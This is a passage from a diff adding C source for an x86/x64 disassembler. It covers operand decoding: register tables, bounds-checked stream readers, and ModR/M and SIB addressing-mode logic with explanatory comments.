+ RM_AX, RM_CX, RM_DX, RM_BX, RM_SP, RM_BP, RM_SI, RM_DI, RM_R8, RM_R9, RM_R10, RM_R11, RM_R12, RM_R13, RM_R14, RM_R15,
+ RM_AX, RM_CX, RM_DX, RM_BX, RM_SP, RM_BP, RM_SI, RM_DI, RM_R8, RM_R9, RM_R10, RM_R11, RM_R12, RM_R13, RM_R14, RM_R15,
+ RM_AX, RM_CX, RM_DX, RM_BX, RM_AX, RM_CX, RM_DX, RM_BX, RM_R8, RM_R9, RM_R10, RM_R11, RM_R12, RM_R13, RM_R14, RM_R15,
+ RM_SP, RM_BP, RM_SI, RM_DI,
+ 0, 0, 0, 0, 0, 0,
+ 0,
+ RM_FPU, RM_FPU, RM_FPU, RM_FPU, RM_FPU, RM_FPU, RM_FPU, RM_FPU,
+ RM_MMX, RM_MMX, RM_MMX, RM_MMX, RM_MMX, RM_MMX, RM_MMX, RM_MMX,
+ RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE,
+ RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX,
+ RM_CR, 0, RM_CR, RM_CR, RM_CR, 0, 0, 0, RM_CR,
+ RM_DR, RM_DR, RM_DR, RM_DR, 0, 0, RM_DR, RM_DR
+};
+
+typedef enum {OPERAND_SIZE_NONE = 0, OPERAND_SIZE8, OPERAND_SIZE16, OPERAND_SIZE32, OPERAND_SIZE64, OPERAND_SIZE80, OPERAND_SIZE128, OPERAND_SIZE256} _OperandSizeType;
+static uint16_t _OPSIZETOINT[] = {0, 8, 16, 32, 64, 80, 128, 256};
+
+/* A helper function to fix the 8 bits register if REX is used (to support SIL, DIL, etc). */
+static unsigned int _FASTCALL_ operands_fix_8bit_rex_base(unsigned int reg)
+{
+ if ((reg >= 4) && (reg < 8)) return reg + REGS8_REX_BASE - 4;
+ return reg + REGS8_BASE;
+}
+
+/* A helper function to set operand's type and size. */
+static void _FASTCALL_ operands_set_ts(_Operand* op, _OperandType type, uint16_t size)
+{
+ op->type = type;
+ op->size = size;
+}
+
+/* A helper function to set operand's type, size and index. */
+static void _FASTCALL_ operands_set_tsi(_Operand* op, _OperandType type, uint16_t size, unsigned int index)
+{
+ op->type = type;
+ op->index = (uint8_t)index;
+ op->size = size;
+}
+
+/* A helper function to read an unsigned integer from the stream safely. */
+static int _FASTCALL_ read_stream_safe_uint(_CodeInfo* ci, void* result, unsigned int size)
+{
+ ci->codeLen -= size;
+ if (ci->codeLen < 0) return FALSE;
+ switch (size)
+ {
+ case 1: *(uint8_t*)result = *(uint8_t*)ci->code; break;
+ case 2: *(uint16_t*)result = RUSHORT(ci->code); break;
+ case 4: *(uint32_t*)result = RULONG(ci->code); break;
+ case 8: *(uint64_t*)result = RULLONG(ci->code); break;
+ }
+ ci->code += size;
+ return TRUE;
+}
+
+/* A helper function to read a signed integer from the stream safely. */
+static int _FASTCALL_ read_stream_safe_sint(_CodeInfo* ci, int64_t* result, unsigned int size)
+{
+ ci->codeLen -= size;
+ if (ci->codeLen < 0) return FALSE;
+ switch (size)
+ {
+ case 1: *result = *(int8_t*)ci->code; break;
+ case 2: *result = RSHORT(ci->code); break;
+ case 4: *result = RLONG(ci->code); break;
+ case 8: *result = RLLONG(ci->code); break;
+ }
+ ci->code += size;
+ return TRUE;
+}
+
+/*
+ * SIB decoding is the most confusing part when decoding IA-32 instructions.
+ * This explanation should clear up some stuff.
+ *
+ * ! When base == 5, use EBP as the base register !
+ * if (rm == 4) {
+ * if mod == 01, decode SIB byte and ALSO read a 8 bits displacement.
+ * if mod == 10, decode SIB byte and ALSO read a 32 bits displacement.
+ * if mod == 11 <-- EXCEPTION, this is a general-purpose register and mustn't lead to SIB decoding!
+ * ; So far so good, now the confusing part comes in with mod == 0 and base=5, but no worry.
+ * if (mod == 00) {
+ * decode SIB byte WITHOUT any displacement.
+ * EXCEPTION!!! when base == 5, read a 32 bits displacement, but this time DO NOT use (EBP) BASE at all!
+ * }
+ *
+ * NOTE: base could specify None (no base register) if base==5 and mod==0, but then you also need DISP32.
+ * }
+ */
+static void operands_extract_sib(_DInst* di, _OperandNumberType opNum,
+ _PrefixState* ps, _DecodeType effAdrSz,
+ unsigned int sib, unsigned int mod)
+{
+ unsigned int scale = 0, index = 0, base = 0;
+ unsigned int vrex = ps->vrex;
+ uint8_t* pIndex = NULL;
+
+ _Operand* op = &di->ops[opNum];
+
+ /*
+ * SIB bits:
+ * |7---6-5----3-2---0|
+ * |SCALE| INDEX| BASE|
+ * |------------------|
+ */
+ scale = (sib >> 6) & 3;
+ index = (sib >> 3) & 7;
+ base = sib & 7;
+
+ /*
+ * The following fields: base/index/scale/disp8/32 are ALL optional by specific rules!
+ * The idea here is to keep the indirection as a simple-memory type.
+ * Because the base is optional, and we might be left with only one index.
+ * So even if there's a base but no index, or vice versa, we end up with one index register.
+ */
+
+ /* In 64 bits the REX prefix might affect the index of the SIB byte. */
+ if (vrex & PREFIX_EX_X) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ index += EX_GPR_BASE;
+ }
+
+ if (index == 4) { /* No index is used. Use SMEM. */
+ op->type = O_SMEM;
+ pIndex = &op->index;
+ } else {
+ op->type = O_MEM;
+ pIndex = &di->base;
+ /* No base, unless it is updated below. E.G: [EAX*4] has no base reg. */
+ }
+
+ if (base != 5) {
+ if (vrex & PREFIX_EX_B) ps->usedPrefixes |= INST_PRE_REX;
+ *pIndex = effAdrSz == Decode64Bits ? REGS64_BASE : REGS32_BASE;
+ *pIndex += (uint8_t)(base + ((vrex & PREFIX_EX_B) ? EX_GPR_BASE : 0));
+ } else if (mod != 0) {
+ /*
+ * if base == 5 then you have to decode according to MOD.
+ * mod(00) - disp32.
+ * mod(01) - disp8 + rBP
+ * mod(10) - disp32 + rBP
+ * mod(11) - not possible, it's a general-purpose register.
+ */
+
+ if (vrex & PREFIX_EX_B) ps->usedPrefixes |= INST_PRE_REX;
+ if (effAdrSz == Decode64Bits) *pIndex = REGS64_BASE + 5 + ((vrex & PREFIX_EX_B) ? EX_GPR_BASE : 0);
+ else *pIndex = REGS32_BASE + 5 + ((vrex & PREFIX_EX_B) ? EX_GPR_BASE : 0);
+ } else if (index == 4) {
+ /* 32bits displacement only. */
+ op->type = O_DISP;
+ return;
+ }
+
+ if (index != 4) { /* In 64 bits decoding mode, if index == R12, it's valid! */
+ if (effAdrSz == Decode64Bits) op->index = (uint8_t)(REGS64_BASE + index);
+ else op->index = (uint8_t)(REGS32_BASE + index);
+ di->scale = scale != 0 ? (1 << scale) : 0;
+ }
+}
+
+/*
+ * This seems to be the hardest part in decoding the operands.
+ * If you take a look carefully at Table 2-2. 32-Bit Addressing Forms with the ModR/M Byte,
+ * you will understand it's easy to decode the operands.
+
+ * First we check the DT, so we can decide according to which Table in the documentation we are supposed to decode.
+ * Then we follow the specific table whether it's 16 bits or 32/64 bits.
+
+ * Don't forget that Operand Size AND Address Size prefixes may change the decoding!
+
+ * Some instructions force the use of RM16 or other specific types, so take it into account.
+ */
+static int operands_extract_modrm(_CodeInfo* ci,
+ _DInst* di, _OpType type,
+ _OperandNumberType opNum, _PrefixState* ps,
+ _DecodeType effOpSz, _DecodeType effAdrSz,
+ int* lockableInstruction, unsigned int mod, unsigned int rm,
+ _iflags instFlags)
+{
+ unsigned int vrex = ps->vrex, sib = 0, base = 0;
+ _Operand* op = &di->ops[opNum];
+ uint16_t size = 0;
+
+ if (mod == 3) {
+ /*
+ * General-purpose register is handled the same way in 16/32/64 bits decoding modes.
+ * NOTE!! that we have to override the size of the register, since it was set earlier as Memory and not Register!
+ */
+ op->type = O_REG;
+ /* Start with original size which was set earlier, some registers have same size of memory and depend on it. */
+ size = op->size;
+ switch(type)
+ {
+ case OT_RFULL_M16:
+ case OT_RM_FULL:
+ switch (effOpSz)
+ {
+ case Decode16Bits:
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm += EX_GPR_BASE;
+ }
+ size = 16;
+ rm += REGS16_BASE;
+ break;
+ case Decode32Bits:
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm += EX_GPR_BASE;
+ }
+ size = 32;
+ rm += REGS32_BASE;
+ break;
+ case Decode64Bits:
+ /* A fix for SMSW RAX which use the REX prefix. */
+ if (type == OT_RFULL_M16) ps->usedPrefixes |= INST_PRE_REX;
+ /* CALL NEAR/PUSH/POP defaults to 64 bits. --> INST_64BITS, REX isn't required, thus ignored anyways. */
+ if (instFlags & INST_PRE_REX) ps->usedPrefixes |= INST_PRE_REX;
+ /* Include REX if used for REX.B. */
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm += EX_GPR_BASE;
+ }
+ size = 64;
+ rm += REGS64_BASE;
+ break;
+ }
+ break;
+ case OT_R32_64_M8:
+ /* FALL THROUGH, decode 32 or 64 bits register. */
+ case OT_R32_64_M16:
+ /* FALL THROUGH, decode 32 or 64 bits register. */
+ case OT_RM32_64: /* Take care specifically in MOVNTI/MOVD/CVT's instructions, making it _REG64 with REX or if they are promoted. */
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm += EX_GPR_BASE;
+ }
+ /* Is it a promoted instruction? (only INST_64BITS is set and REX isn't required.) */
+ if ((ci->dt == Decode64Bits) && ((instFlags & (INST_64BITS | INST_PRE_REX)) == INST_64BITS)) {
+ size = 64;
+ rm += REGS64_BASE;
+ break;
+ }
+ /* Give a chance to REX.W. Because if it was a promoted instruction we don't care about REX.W anyways. */
+ if (vrex & PREFIX_EX_W) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ size = 64;
+ rm += REGS64_BASE;
+ } else {
+ size = 32;
+ rm += REGS32_BASE;
+ }
+ break;
+ case OT_RM16_32: /* Used only with MOVZXD instruction to support 16 bits operand. */
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm += EX_GPR_BASE;
+ }
+ /* Is it 16 bits operand size? */
+ if (ps->decodedPrefixes & INST_PRE_OP_SIZE) {
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ size = 16;
+ rm += REGS16_BASE;
+ } else {
+ size = 32;
+ rm += REGS32_BASE;
+ }
+ break;
+ case OT_RM16:
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm += EX_GPR_BASE;
+ }
+ rm += REGS16_BASE;
+ break;
+ case OT_RM8:
+ if (ps->prefixExtType == PET_REX) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm = operands_fix_8bit_rex_base(rm + ((vrex & PREFIX_EX_B) ? EX_GPR_BASE : 0));
+ } else rm += REGS8_BASE;
+ break;
+ case OT_MM32:
+ case OT_MM64:
+ /* MMX doesn't support extended registers. */
+ size = 64;
+ rm += MMXREGS_BASE;
+ break;
+
+ case OT_XMM16:
+ case OT_XMM32:
+ case OT_XMM64:
+ case OT_XMM128:
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm += EX_GPR_BASE;
+ }
+ size = 128;
+ rm += SSEREGS_BASE;
+ break;
+
+ case OT_RM32:
+ case OT_R32_M8:
+ case OT_R32_M16:
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm += EX_GPR_BASE;
+ }
+ size = 32;
+ rm += REGS32_BASE;
+ break;
+
+ case OT_YMM256:
+ if (vrex & PREFIX_EX_B) rm += EX_GPR_BASE;
+ rm += AVXREGS_BASE;
+ break;
+ case OT_YXMM64_256:
+ case OT_YXMM128_256:
+ if (vrex & PREFIX_EX_B) rm += EX_GPR_BASE;
+ if (vrex & PREFIX_EX_L) {
+ size = 256;
+ rm += AVXREGS_BASE;
+ } else {
+ size = 128;
+ rm += SSEREGS_BASE;
+ }
+ break;
+ case OT_WXMM32_64:
+ case OT_LXMM64_128:
+ if (vrex & PREFIX_EX_B) rm += EX_GPR_BASE;
+ size = 128;
+ rm += SSEREGS_BASE;
+ break;
+
+ case OT_WRM32_64:
+ case OT_REG32_64_M8:
+ case OT_REG32_64_M16:
+ if (vrex & PREFIX_EX_B) rm += EX_GPR_BASE;
+ if (vrex & PREFIX_EX_W) {
+ size = 64;
+ rm += REGS64_BASE;
+ } else {
+ size = 32;
+ rm += REGS32_BASE;
+ }
+ break;
+
+ default: return FALSE;
+ }
+ op->size = size;
+ op->index = (uint8_t)rm;
+ return TRUE;
+ }
+
+ /* Memory indirection decoding ahead:) */
+
+ ps->usedPrefixes |= INST_PRE_ADDR_SIZE;
+ if (lockableInstruction && (ps->decodedPrefixes & INST_PRE_LOCK)) *lockableInstruction = TRUE;
+
+ if (effAdrSz == Decode16Bits) {
+ /* Decoding according to Table 2-1. (16 bits) */
+ if ((mod == 0) && (rm == 6)) {
+ /* 6 is a special case - only 16 bits displacement. */
+ op->type = O_DISP;
+ di->dispSize = 16;
+ if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int16_t))) return FALSE;
+ } else {
+ /*
+ * Create the O_MEM for 16 bits indirection that requires 2 registers, E.G: [BS+SI].
+ * or create O_SMEM for a single register indirection, E.G: [BP].
+ */
+ static uint8_t MODS[] = {R_BX, R_BX, R_BP, R_BP, R_SI, R_DI, R_BP, R_BX};
+ static uint8_t MODS2[] = {R_SI, R_DI, R_SI, R_DI};
+ if (rm < 4) {
+ op->type = O_MEM;
+ di->base = MODS[rm];
+ op->index = MODS2[rm];
+ } else {
+ op->type = O_SMEM;
+ op->index = MODS[rm];
+ }
+
+ if (mod == 1) { /* 8 bits displacement + indirection */
+ di->dispSize = 8;
+ if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int8_t))) return FALSE;
+ } else if (mod == 2) { /* 16 bits displacement + indirection */
+ di->dispSize = 16;
+ if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int16_t))) return FALSE;
+ }
+ }
+
+ if ((rm == 2) || (rm == 3) || ((rm == 6) && (mod != 0))) {
+ /* BP's default segment is SS, so ignore it. */
+ prefixes_use_segment(INST_PRE_SS, ps, ci->dt, di);
+ } else {
+ /* Ignore default DS segment. */
+ prefixes_use_segment(INST_PRE_DS, ps, ci->dt, di);
+ }
+ } else { /* Decode32Bits or Decode64Bits! */
+ /* Remember that from a 32/64 bits ModR/M byte a SIB byte could follow! */
+ if ((mod == 0) && (rm == 5)) {
+
+ /* 5 is a special case - only 32 bits displacement, or RIP relative. */
+ di->dispSize = 32;
+ if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int32_t))) return FALSE;
+
+ if (ci->dt == Decode64Bits) {
+ /* In 64 bits decoding mode depsite of the address size, a RIP-relative address it is. */
+ op->type = O_SMEM;
+ op->index = R_RIP;
+ di->flags |= FLAG_RIP_RELATIVE;
+ } else {
+ /* Absolute address: */
+ op->type = O_DISP;
+ }
+ } else {
+ if (rm == 4) {
+ /* 4 is a special case - SIB byte + disp8/32 follows! */
+ /* Read SIB byte. */
+ if (!read_stream_safe_uint(ci, &sib, sizeof(int8_t))) return FALSE;
+ operands_extract_sib(di, opNum, ps, effAdrSz, sib, mod);
+ } else {
+ op->type = O_SMEM;
+ if (vrex & PREFIX_EX_B) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ rm += EX_GPR_BASE;
+ }
+
+ if (effAdrSz == Decode64Bits) op->index = (uint8_t)(REGS64_BASE + rm);
+ else op->index = (uint8_t)(REGS32_BASE + rm);
+ }
+
+ if (mod == 1) {
+ di->dispSize = 8;
+ if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int8_t))) return FALSE;
+ } else if ((mod == 2) || ((sib & 7) == 5)) { /* If there is no BASE, read DISP32! */
+ di->dispSize = 32;
+ if (!read_stream_safe_sint(ci, (int64_t*)&di->disp, sizeof(int32_t))) return FALSE;
+ }
+ }
+
+ /* Get the base register. */
+ base = op->index;
+ if (di->base != R_NONE) base = di->base;
+ else if (di->scale >= 2) base = 0; /* If it's only an index but got scale, it's still DS. */
+ /* Default for EBP/ESP is SS segment. 64 bits mode ignores DS anyway. */
+ if ((base == R_EBP) || (base == R_ESP)) prefixes_use_segment(INST_PRE_SS, ps, ci->dt, di);
+ else prefixes_use_segment(INST_PRE_DS, ps, ci->dt, di);
+ }
+
+ return TRUE;
+}
+
+
+/*
+ * This function is reponsible to textually format a required operand according to its type.
+ * It is vital to understand that there are other operands than what the ModR/M byte specifies.
+
+ * Only by decoding the operands of an instruction which got a LOCK prefix, we could tell whether it may use the LOCK prefix.
+ * According to Intel, LOCK prefix must precede some specific instructions AND in their memory destination operand form (which means first operand).
+ * LOCK INC EAX, would generate an exception, but LOCK INC [EAX] is alright.
+ * Also LOCK ADD BX, [BP] would generate an exception.
+
+ * Return code:
+ * TRUE - continue parsing the instruction and its operands, everything went right 'till now.
+ * FALSE - not enough bytes, or invalid operands.
+ */
+
+int operands_extract(_CodeInfo* ci, _DInst* di, _InstInfo* ii,
+ _iflags instFlags, _OpType type, _OperandNumberType opNum,
+ unsigned int modrm, _PrefixState* ps, _DecodeType effOpSz,
+ _DecodeType effAdrSz, int* lockableInstruction)
+{
+ int ret = 0;
+ unsigned int mod = 0, reg = 0, rm = 0, vexV = ps->vexV;
+ unsigned int vrex = ps->vrex, typeHandled = TRUE;
+ _Operand* op = &di->ops[opNum];
+
+ /* Used to indicate the size of the MEMORY INDIRECTION only. */
+ _OperandSizeType opSize = OPERAND_SIZE_NONE;
+
+ /*
+ * ModRM bits:
+ * |7-6-5--------3-2-0|
+ * |MOD|REG/OPCODE|RM |
+ * |------------------|
+ */
+ mod = (modrm >> 6) & 3; /* Mode(register-indirection, disp8+reg+indirection, disp16+reg+indirection, general-purpose register) */
+ reg = (modrm >> 3) & 7; /* Register(could be part of the opcode itself or general-purpose register) */
+ rm = modrm & 7; /* Specifies which general-purpose register or disp+reg to use. */
+
+ /* -- Memory Indirection Operands (that cannot be a general purpose register) -- */
+ switch (type)
+ {
+ case OT_MEM64_128: /* Used only by CMPXCHG8/16B. */
+ /* Make a specific check when the type is OT_MEM64_128 since the lockable CMPXCHG8B uses this one... */
+ if (lockableInstruction && (ps->decodedPrefixes & INST_PRE_LOCK)) *lockableInstruction = TRUE;
+ if (effOpSz == Decode64Bits) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ opSize = OPERAND_SIZE128;
+ } else opSize = OPERAND_SIZE64;
+ break;
+ case OT_MEM32: opSize = OPERAND_SIZE32; break;
+ case OT_MEM32_64:
+ /* Used by MOVNTI. Default size is 32bits, 64bits with REX. */
+ if (effOpSz == Decode64Bits) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ opSize = OPERAND_SIZE64;
+ } else opSize = OPERAND_SIZE32;
+ break;
+ case OT_MEM64: opSize = OPERAND_SIZE64; break;
+ case OT_MEM128: opSize = OPERAND_SIZE128; break;
+ case OT_MEM16_FULL: /* The size indicates about the second item of the pair. */
+ switch (effOpSz)
+ {
+ case Decode16Bits:
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ opSize = OPERAND_SIZE16;
+ break;
+ case Decode32Bits:
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ opSize = OPERAND_SIZE32;
+ break;
+ case Decode64Bits:
+ /* Mark usage of REX only if it was required. */
+ if ((instFlags & (INST_64BITS | INST_PRE_REX)) == (INST_64BITS | INST_PRE_REX)) ps->usedPrefixes |= INST_PRE_REX;
+ opSize = OPERAND_SIZE64;
+ break;
+ }
+ break;
+ case OT_MEM16_3264: /* The size indicates about the second item of the pair. */
+ if (ci->dt == Decode64Bits) opSize = OPERAND_SIZE64;
+ else opSize = OPERAND_SIZE32;
+ break;
+ case OT_MEM_OPT:
+ /* Since the MEM is optional, only when mod != 3, then return true as if the operand was alright. */
+ if (mod == 0x3) return TRUE;
+ break;
+ case OT_FPUM16: opSize = OPERAND_SIZE16; break;
+ case OT_FPUM32: opSize = OPERAND_SIZE32; break;
+ case OT_FPUM64: opSize = OPERAND_SIZE64; break;
+ case OT_FPUM80: opSize = OPERAND_SIZE80; break;
+ case OT_LMEM128_256:
+ if (vrex & PREFIX_EX_L) opSize = OPERAND_SIZE256;
+ else opSize = OPERAND_SIZE128;
+ break;
+ case OT_MEM: /* Size is unknown, but still handled. */ break;
+ default: typeHandled = FALSE; break;
+ }
+ if (typeHandled) {
+ /* All of the above types can't use a general-purpose register (a MOD of 3)!. */
+ if (mod == 0x3) {
+ if (lockableInstruction) *lockableInstruction = FALSE;
+ return FALSE;
+ }
+ op->size = _OPSIZETOINT[opSize];
+ ret = operands_extract_modrm(ci, di, type, opNum, ps, effOpSz, effAdrSz, lockableInstruction, mod, rm, instFlags);
+ if ((op->type == O_REG) || (op->type == O_SMEM) || (op->type == O_MEM)) {
+ di->usedRegistersMask |= _REGISTERTORCLASS[op->index];
+ }
+ return ret;
+ }
+
+ /* -- Memory Indirection Operands (that can be a register) -- */
+ typeHandled = TRUE;
+ switch (type)
+ {
+ case OT_RM_FULL:
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ /* PUSH/JMP/CALL are automatically promoted to 64 bits! */
+ if (effOpSz == Decode32Bits) {
+ opSize = OPERAND_SIZE32;
+ break;
+ } else if (effOpSz == Decode64Bits) {
+ /* Mark usage of REX only if it was required. */
+ if ((instFlags & INST_64BITS) == 0) ps->usedPrefixes |= INST_PRE_REX;
+ opSize = OPERAND_SIZE64;
+ break;
+ }
+ /* FALL THROUGH BECAUSE dt==Decoded16Bits @-<----*/
+ case OT_RM16:
+ /* If we got here not from OT_RM16, then the prefix was used. */
+ if (type != OT_RM16) ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ opSize = OPERAND_SIZE16;
+ break;
+ case OT_RM32_64:
+ /* The default size is 32, which can be 64 with a REX only. */
+ if (effOpSz == Decode64Bits) {
+ opSize = OPERAND_SIZE64;
+ /* Mark REX prefix as used if non-promoted instruction. */
+ if ((instFlags & (INST_64BITS | INST_PRE_REX)) == (INST_64BITS | INST_PRE_REX)) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ }
+ } else opSize = OPERAND_SIZE32;
+ break;
+ case OT_RM16_32:
+ /* Ignore REX, it's either 32 or 16 bits RM. */
+ if (ps->decodedPrefixes & INST_PRE_OP_SIZE) {
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ /* Assume: We are in 64bits when we have this operand used. */
+ opSize = OPERAND_SIZE16;
+ } else opSize = OPERAND_SIZE32;
+ break;
+ case OT_WXMM32_64:
+ case OT_WRM32_64:
+ if (vrex & PREFIX_EX_W) opSize = OPERAND_SIZE64;
+ else opSize = OPERAND_SIZE32;
+ break;
+ case OT_YXMM64_256:
+ if (vrex & PREFIX_EX_L) opSize = OPERAND_SIZE256;
+ else opSize = OPERAND_SIZE64;
+ break;
+ case OT_YXMM128_256:
+ if (vrex & PREFIX_EX_L) opSize = OPERAND_SIZE256;
+ else opSize = OPERAND_SIZE128;
+ break;
+ case OT_LXMM64_128:
+ if (vrex & PREFIX_EX_L) opSize = OPERAND_SIZE128;
+ else opSize = OPERAND_SIZE64;
+ break;
+ case OT_RFULL_M16:
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ opSize = OPERAND_SIZE16;
+ break;
+
+ case OT_RM8:
+ case OT_R32_M8:
+ case OT_R32_64_M8:
+ case OT_REG32_64_M8:
+ opSize = OPERAND_SIZE8;
+ break;
+
+ case OT_XMM16:
+ case OT_R32_M16:
+ case OT_R32_64_M16:
+ case OT_REG32_64_M16:
+ opSize = OPERAND_SIZE16;
+ break;
+
+ case OT_RM32:
+ case OT_MM32:
+ case OT_XMM32:
+ opSize = OPERAND_SIZE32;
+ break;
+
+ case OT_MM64:
+ case OT_XMM64:
+ opSize = OPERAND_SIZE64;
+ break;
+
+ case OT_XMM128: opSize = OPERAND_SIZE128; break;
+ case OT_YMM256: opSize = OPERAND_SIZE256; break;
+ default: typeHandled = FALSE; break;
+ }
+ if (typeHandled) {
+ /* Fill size of memory dereference for operand. */
+ op->size = _OPSIZETOINT[opSize];
+ ret = operands_extract_modrm(ci, di, type, opNum, ps, effOpSz, effAdrSz, lockableInstruction, mod, rm, instFlags);
+ if ((op->type == O_REG) || (op->type == O_SMEM) || (op->type == O_MEM)) {
+ di->usedRegistersMask |= _REGISTERTORCLASS[op->index];
+ }
+ return ret;
+ }
+
+ /* Simple operand type (no ModRM byte). */
+ switch (type)
+ {
+ case OT_IMM8:
+ operands_set_ts(op, O_IMM, 8);
+ if (!read_stream_safe_uint(ci, &di->imm.byte, sizeof(int8_t))) return FALSE;
+ break;
+ case OT_IMM_FULL: /* 16, 32 or 64, depends on prefixes. */
+ if (effOpSz == Decode16Bits) {
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ /* FALL THROUGH */
+ case OT_IMM16: /* Force 16 bits imm. */
+ operands_set_ts(op, O_IMM, 16);
+ if (!read_stream_safe_uint(ci, &di->imm.word, sizeof(int16_t))) return FALSE;
+ break;
+ /*
+ * Extension: MOV imm64, requires REX.
+ * Make sure it needs the REX.
+ * REX must be present because op size function takes it into consideration.
+ */
+ } else if ((effOpSz == Decode64Bits) &&
+ ((instFlags & (INST_64BITS | INST_PRE_REX)) == (INST_64BITS | INST_PRE_REX))) {
+ ps->usedPrefixes |= INST_PRE_REX;
+
+ operands_set_ts(op, O_IMM, 64);
+ if (!read_stream_safe_uint(ci, &di->imm.qword, sizeof(int64_t))) return FALSE;
+ break;
+ } else ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ /* FALL THROUGH BECAUSE dt==Decoded32Bits @-<----*/
+ case OT_IMM32:
+ op->type = O_IMM;
+ if (ci->dt == Decode64Bits) {
+ /*
+ * Imm32 is sign extended to 64 bits!
+ * Originally the op size was 64, but later was changed to reflect real size of imm.
+ */
+ op->size = 32;
+ /* Use this as an indicator that it should be signed extended. */
+ di->flags |= FLAG_IMM_SIGNED;
+ if (!read_stream_safe_sint(ci, &di->imm.sqword, sizeof(int32_t))) return FALSE;
+ } else {
+ op->size = 32;
+ if (!read_stream_safe_uint(ci, &di->imm.dword, sizeof(int32_t))) return FALSE;
+ }
+ break;
+ case OT_SEIMM8: /* Sign extended immediate. */
+ /*
+ * PUSH SEIMM8 can be prefixed by operand size:
+ * Input stream: 66, 6a, 55
+ * 64bits DT: push small 55
+ * 32bits DT: push small 55
+ * 16bits DT: push large 55
+ * small/large indicates the size of the eSP pointer advancement.
+ * Check the instFlags (ii->flags) if it can be operand-size-prefixed and if the prefix exists.
+ */
+ op->type = O_IMM;
+ if ((instFlags & INST_PRE_OP_SIZE) && (ps->decodedPrefixes & INST_PRE_OP_SIZE)) {
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ switch (ci->dt)
+ {
+ case Decode16Bits: op->size = 32; break;
+ case Decode32Bits:
+ case Decode64Bits:
+ op->size = 16;
+ break;
+ }
+ } else op->size = 8;
+ di->flags |= FLAG_IMM_SIGNED;
+ if (!read_stream_safe_sint(ci, &di->imm.sqword, sizeof(int8_t))) return FALSE;
+ break;
+ case OT_IMM16_1:
+ operands_set_ts(op, O_IMM1, 16);
+ if (!read_stream_safe_uint(ci, &di->imm.ex.i1, sizeof(int16_t))) return FALSE;
+ break;
+ case OT_IMM8_1:
+ operands_set_ts(op, O_IMM1, 8);
+ if (!read_stream_safe_uint(ci, &di->imm.ex.i1, sizeof(int8_t))) return FALSE;
+ break;
+ case OT_IMM8_2:
+ operands_set_ts(op, O_IMM2, 8);
+ if (!read_stream_safe_uint(ci, &di->imm.ex.i2, sizeof(int8_t))) return FALSE;
+ break;
+ case OT_REG8:
+ operands_set_ts(op, O_REG, 8);
+ if (ps->prefixExtType) {
+ /*
+ * If REX prefix is valid then we will have to use low bytes.
+ * This is a PASSIVE behavior changer of REX prefix, it affects operands even if its value is 0x40 !
+ */
+ ps->usedPrefixes |= INST_PRE_REX;
+ op->index = (uint8_t)operands_fix_8bit_rex_base(reg + ((vrex & PREFIX_EX_R) ? EX_GPR_BASE : 0));
+ } else op->index = (uint8_t)(REGS8_BASE + reg);
+ break;
+ case OT_REG16:
+ operands_set_tsi(op, O_REG, 16, REGS16_BASE + reg);
+ break;
+ case OT_REG_FULL:
+ switch (effOpSz)
+ {
+ case Decode16Bits:
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ if (vrex & PREFIX_EX_R) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ reg += EX_GPR_BASE;
+ }
+ operands_set_tsi(op, O_REG, 16, REGS16_BASE + reg);
+ break;
+ case Decode32Bits:
+ if (vrex & PREFIX_EX_R) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ reg += EX_GPR_BASE;
+ } else ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ operands_set_tsi(op, O_REG, 32, REGS32_BASE + reg);
+ break;
+ case Decode64Bits: /* rex must be presented. */
+ ps->usedPrefixes |= INST_PRE_REX;
+ operands_set_tsi(op, O_REG, 64, REGS64_BASE + reg + ((vrex & PREFIX_EX_R) ? EX_GPR_BASE : 0));
+ break;
+ }
+ break;
+ case OT_REG32:
+ if (vrex & PREFIX_EX_R) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ reg += EX_GPR_BASE;
+ }
